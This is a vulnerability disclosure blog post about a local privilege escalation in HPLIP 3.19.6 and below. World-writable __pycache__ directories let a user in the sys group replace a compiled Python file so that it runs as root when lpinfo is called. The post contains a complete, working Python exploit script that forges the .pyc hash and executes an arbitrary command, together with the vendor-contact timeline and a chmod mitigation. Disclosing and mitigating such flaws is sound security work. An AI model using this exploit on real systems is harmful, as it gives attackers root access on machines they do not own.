Privilege escalation in HPLIP
tl;dr: Default installations of HPLIP version 3.19.6 and below are vulnerable to a local privilege escalation 0-day that is important but not critical due to its setup. It is due to a world-writable directory containing compiled python files.
A few month ago I decided to look for world-writable directories on my system to get an idea of my exposure. This is a simple find command from which two directories emerged:
$ find / -type d -perm -007 … /usr/share/hplip/prnt/__pycache__ /usr/share/hplip/base/pexpect/__pycache__ …
HPLIP (HP Linux Imaging and Printing) is an HP Inc project that proposes better integration of HP products on Linux.
They contained compiled python files, bytecode files that are produced when importing a library and cached for performance. Since they're loaded on subsequent access they're effectively executables.
/usr/share/hplip/base/pexpect/__pycache__: total 128 -rw-r--r-- 1 root cups 65211 Jul 13 2018 __init__.cpython-36.pyc -rw-r--r-- 1 root cups 63065 Jun 4 07:17 __init__.cpython-37.pyc /usr/share/hplip/prnt/__pycache__: total 92 -rw-r--r-- 1 root cups 22289 Jul 13 2018 cups.cpython-36.pyc -rw-r--r-- 1 root cups 22236 Jun 4 07:17 cups.cpython-37.pyc -rw-r--r-- 1 root cups 116 Jul 13 2018 __init__.cpython-36.pyc -rw-r----- 1 root cups 120 Jun 5 07:27 __init__.cpython-37.pyc -rw-r--r-- 1 root cups 8934 Jul 13 2018 ldl.cpython-36.pyc -rw-r--r-- 1 root cups 12439 Jun 4 07:17 ldl.cpython-37.pyc -rw-r--r-- 1 root cups 1522 Jul 13 2018 pcl.cpython-36.pyc -rw-r--r-- 1 root cups 2116 Jun 4 07:17 pcl.cpython-37.pyc
Later investigation showed that these files were imported by HPLIP on different occasions. It seemed related to listing available printers in CUPS notably when adding a new one, but later investigation showed that using lpinfo -v removes the need to use the CUPS web interface.
So we have a bunch of executables owned by root in a directory that any user can mess with and that can be triggered by poking the CUPS server, what could go wrong?
The basic idea is as follow:
Write our own compiled python file that runs a command of our choice
Replace one of the HPLIP PYC file with our own
List printers through lpinfo
Drink to our success as our PYC file is executed with root privileges
Easy right? Quite: there are two problems we need to take care of beforehand. The first one is that listing printers in CUPS can only be done by someone in the sys group. From there on we'll assume that our user in in that group.
We can verify easily that HPLIP files are executed by deleting the content of /usr/share/hplip/prnt/__pycache__ (don't worry, it's only cache) and executing lpinfo -v. We see that the four files are recreated. Replacing any of these file by our own would trigger the issue.
The other real issue is to write our own PYC file. Of course we could study the file format but it's much easier to ask python to compile our source file directly. This can be done using the standard library module py_compile.
import py_compile open("/tmp/test.py", "w").write("print('Hello')") py_compile.compile("/tmp/test.py") # /tmp/__pycache__/test.cpython-37.pyc
This seems easy enough, but if we try we quickly notice that it doesn't work as expected: python completely ignores our PYC file, removes it and writes his own. And thinking about it it's normal: this is a cache file, it must have some way to check that the original source file wasn't changed. Since our PYC doesn't correspond to the original file python assumes that the source file has been changed and recompiles it.
Armed with that idea we start looking for a hash of the source file in the compiled one. Sure enough, after some trial and errors, bytes 8 through 16 correspond to a hash. Which one? I didn't care to find out, I just copied the original PYC's hash into my own and it was properly executed when calling HPLIP.
Here is the final exploit in all its splendor, tried on a stock Manjaro installation which has HPLIP and cups running by default, from a user named "test" whose only groups were sys test.
#!/usr/bin/env python3 import os import subprocess import py_compile import tempfile import base64 import requests def check_dir(path): if not os.path.isdir(path): return None pycache_path = os.path.join(path, "__pycache__") if not os.path.exists(pycache_path): trigger_add_printer() if os.access(pycache_path, os.W_OK): return pycache_path return None def pyc_compile_file(path): fo = tempfile.mktemp() py_compile.compile(path, cfile=fo) result = open(fo, "rb").read() os.remove(fo) return result def pyc_get_hash(filename): # If necessary, add-printer once to pre-load pyc files if not os.access(filename, os.R_OK): init_path = os.path.join(os.path.dirname(os.path.dirname(filename)), "__init__.py") content = pyc_compile_file(init_path) else: content = open(filename, "rb").read() return content[8:16] def pyc_content(cmd, pyc_hash): content = 'import os\nos.system(""" %s """)' % cmd fi = tempfile.mktemp() open(fi, "wb").write(content.encode("utf8")) raw = pyc_compile_file(fi) os.remove(fi) return raw[:8] + pyc_hash + raw[16:] def main(): if len(os.sys.argv) < 2: print("Usage: %s CMD" % os.sys.argv) return 1 cmd = os.sys.argv print("[+] Check that /usr/share/hplip/ contains 777 directories") vulnerable_dir = (check_dir("/usr/share/hplip/prnt") or check_dir("/usr/share/hplip/base/pexpect")) if vulnerable_dir is None: print("[!] hplip not available or not vulnerable") return 1 print("[-] Found: %s" % vulnerable_dir) print("[+] Write and compile an __init__.py file") init_file_name = sorted(filename for filename in os.listdir(vulnerable_dir) if "__init__" in filename)[-1] init_file_path = os.path.join(vulnerable_dir, init_file_name) print("[+] Recover the original pyc hash") pyc_hash = pyc_get_hash(init_file_path) print("[+] Write the new pyc file in the vulnerable directory") os.remove(init_file_path) open(init_file_path, "wb").write(pyc_content(cmd, pyc_hash)) print("[+] Call lpinfo to list printers and trigger command") if subprocess.call(["lpinfo", "-v"]) != 0: print("[!] lpinfo failed, are you in the 'sys' group?") return 1 print("[+] Success (probably)!") return 0 if __name__ == "__main__": main()
Impact and follow-up
Privilege escalations should never be treated lightly but they require to already have access to the system. Furthermore access to the sys group is seldom given to users that aren't already part of the sudo group. If that situation arises though then this exploit is quite effective.
At the moment Manjaro releases at least are vulnerable out of the box and no patch exists. I've tried several times to alert the HP team behind HPLIP of this issue but received no answer. Following the common 90 days deadline I'm releasing this in the wild in hope to alert users and manufacturers alike.
The only local fix I know is to remove all access to /usr/share/hplip for users that aren't in the correct group. It might have unforeseen effects, but simply deleting or changing the rights of the __pycache__ directories is useless: HPLIP automatically changes the rights back to 777.
sudo chmod 750 /usr/share/hplip
2019/06/06: First mail to HP — No answer
2019/08/29: Second mail to HP — No answer
2019/09/06: Third mail to HP — No answer
2019/12/06: Public disclosure